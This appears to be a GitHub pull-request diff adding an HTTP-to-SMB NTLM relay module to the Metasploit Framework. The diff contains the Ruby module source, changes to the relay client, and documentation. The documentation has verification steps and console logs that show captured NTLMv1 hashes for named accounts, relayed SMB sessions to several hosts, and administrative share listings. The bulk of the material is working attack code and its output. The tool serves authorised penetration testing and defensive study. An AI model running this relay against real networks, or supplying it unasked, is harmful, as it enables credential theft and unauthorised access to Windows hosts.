Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
129 changes: 129 additions & 0 deletions documentation/modules/auxiliary/server/relay/http_to_smb.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
## Vulnerable Application

### Description

This module sets up an HTTP server that attempts to execute an NTLM relay attack against an SMB server on the
configured `RHOSTS`. If the relay attack is successful, an SMB session is created on the target. This session can be
used by other modules that support SMB sessions.

This module supports relaying one HTTP authentication attempt to multiple SMB servers. After attempting to relay to
one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the
client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not
respond to redirects.

The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent
in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while
GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can
be prefixed with Negotiate.

The module also supports capturing NTLMv1 and NTLMv2 hashes.

### Setup

For this relay attack to be successful, the target SMB server must not require SMB signing. If SMB signing is required,
the relayed authentication will fail.

You can verify the target's signing configuration by using the `auxiliary/scanner/smb/smb2` module or by checking the
following registry key on the target:
```cmd
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters -v RequireSecuritySignature
```

A value of `0` means signing is not required and the relay can succeed.

## Verification Steps

1. Start msfconsole
2. Do: `use auxiliary/server/relay/http_to_smb`
3. Set the `RHOSTS` options
4. Run the module
5. Send an authentication attempt to the relay server
6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials`
7. Check the output for successful relays and captured hashes

## Scenarios
### Relaying to a single SMB server
```
msf auxiliary(server/relay/http_to_smb) >
[*] Using URL: http://172.16.199.1/awauMU5svmJhX
[*] Server started.
[*] Received GET request for /test from 10.5.134.194:56167
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:56168
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:56168
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[HTTP] NTLMv1-SSP Client : 10.5.134.192
[HTTP] NTLMv1-SSP Username : WHISTLER\Administrator
[HTTP] NTLMv1-SSP Hash : Administrator::WHISTLER:ddfa5f067ea4a6d500000000000000000000000000000000:e2b905236443a461a0d18c8d0b636541e0590c2f7a8b2e70:927e83c8861e1ed4

[+] Identity: WHISTLER\Administrator - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] SMB session 9 opened (192.168.3.8:52959 -> 10.5.134.192:445) at 2026-06-29 12:44:07 -0700
[*] Target list exhausted for 10.5.134.194. Closing connection.

msf auxiliary(server/relay/http_to_smb) > sessions -i -1
[*] Starting interaction with 9...

SMB (10.5.134.192) > shares
Shares
======

# Name Type comment
- ---- ---- -------
0 ADMIN$ DISK|SPECIAL Remote Admin
1 C$ DISK|SPECIAL Default share
2 IPC$ IPC|SPECIAL Remote IPC
3 NETLOGON DISK Logon server share
4 SYSVOL DISK Logon server share

SMB (10.5.134.192) >
```

## Relaying to multiple SMB servers
```
msf auxiliary(server/relay/http_to_smb) >
[*] Using URL: http://172.16.199.1/Tqfl3zljyu
[*] Server started.
[*] Received GET request for / from 172.16.199.130:50068
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received GET request for / from 172.16.199.130:50069
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.201:445
[*] Received type2 from target smb://172.16.199.201:445, attempting to relay back to client
[*] Received GET request for / from 172.16.199.130:50069
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[HTTP] NTLMv1-SSP Client : 172.16.199.201
[HTTP] NTLMv1-SSP Username : KERBEROS\sandy
[HTTP] NTLMv1-SSP Hash : sandy::KERBEROS:0c38c494a6e41dd000000000000000000000000000000000:9d43cb96cc90dfc171c1a34bff7e6c9a2b5d0d9b1d8b537a:e551856a84be7c2b

[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] SMB session 3 opened (172.16.199.1:51218 -> 172.16.199.201:445) at 2026-06-29 11:06:38 -0700
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /RRfvosEa4d
[*] Received GET request for /RRfvosEa4d from 172.16.199.130:50068
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received GET request for /RRfvosEa4d from 172.16.199.130:50070
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:445
[*] Received type2 from target smb://172.16.199.200:445, attempting to relay back to client
[*] Received GET request for /RRfvosEa4d from 172.16.199.130:50070
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[HTTP] NTLMv1-SSP Client : 172.16.199.200
[HTTP] NTLMv1-SSP Username : KERBEROS\sandy
[HTTP] NTLMv1-SSP Hash : sandy::KERBEROS:2f8b113a0ca1366500000000000000000000000000000000:c6a2445de2e17cd581891231a3e780e434c59cf19ae566eb:52bbfcc4c36880e1

[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] SMB session 4 opened (172.16.199.1:51231 -> 172.16.199.200:445) at 2026-06-29 11:06:39 -0700
[*] Target list exhausted for 172.16.199.130. Closing connection.

```
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,8 @@ def create_relay_client(target, timeout)
case target.protocol
when :ldap
client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
when :smb
client = Msf::Exploit::Remote::Relay::NTLM::Target::SMB::Client.create(self, target, logger, timeout)
else
raise RuntimeError, "unsupported protocol: #{target.protocol}"
end
Expand Down Expand Up @@ -223,13 +225,13 @@ def handle_type3(parsed_type3)
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}")
@relayed_connection.disconnect! if @relayed_connection
else
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!")
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to #{@current_target.protocol.to_s.upcase}!")
logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity)
end

@relayed_connection = nil
else
logger.print_error("Relayed authentication failed or was rejected by LDAP.")
logger.print_error("Relayed authentication failed or was rejected by #{@current_target.protocol.to_s.upcase}.")
@relayed_connection.disconnect! if @relayed_connection
@relayed_connection = nil
end
Expand Down
111 changes: 111 additions & 0 deletions modules/auxiliary/server/relay/http_to_smb.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::Relay
include Msf::Auxiliary::CommandShell

attr_accessor :service

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows HTTP to SMB Relay',
'Description' => %q{
This module supports running an HTTP server which validates credentials, and
then attempts to execute a relay attack against an SMB server on the
configured RHOSTS hosts.

If the relay succeeds, an SMB session to the target will be created. This can
be used by any modules that support SMB sessions.

Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
},
'Author' => [
'jheysel-r7' # module
],
'License' => MSF_LICENSE,
'DefaultTarget' => 0,
'Actions' => [
[ 'CREATE_SMB_SESSION', { 'Description' => 'Create an SMB session' } ]
],
'PassiveActions' => [ 'CREATE_SMB_SESSION' ],
'DefaultAction' => 'CREATE_SMB_SESSION',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
}
)
)

register_options(
[
Opt::RPORT(445)
]
)

register_advanced_options(
[
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true])
]
)
end

def srvport
datastore['SRVPORT']
end

def relay_targets
Msf::Exploit::Remote::Relay::TargetList.new(
:smb,
datastore['RPORT'],
datastore['RHOSTS'],
randomize_targets: datastore['RANDOMIZE_TARGETS']
)
end

def check_options
unless framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
fail_with(Failure::BadConfig, 'This module requires the `smb_session_type` feature to be enabled. Please enable this feature using `features set smb_session_type true`')
end
end

def run
check_options

start_service
print_status('Server started.')
@http_relay_service.wait if @http_relay_service
end

def on_relay_success(relay_connection:, relay_identity:)
print_good('Relay succeeded')
session_setup(relay_connection, relay_identity)
rescue StandardError => e
elog('Failed to setup the session', error: e)
end

def session_setup(relay_connection, relay_identity)
rstream = relay_connection.dispatcher.tcp_socket
sess = Msf::Sessions::SMB.new(
rstream,
{
client: relay_connection
}
)
domain, _, username = relay_identity.partition('\\')
datastore_options = {
'RHOST' => relay_connection.target.ip,
'RPORT' => relay_connection.target.port,
'DOMAIN' => domain,
'USERNAME' => username
}
start_session(self, nil, datastore_options, false, sess.rstream, sess)
end
end
Loading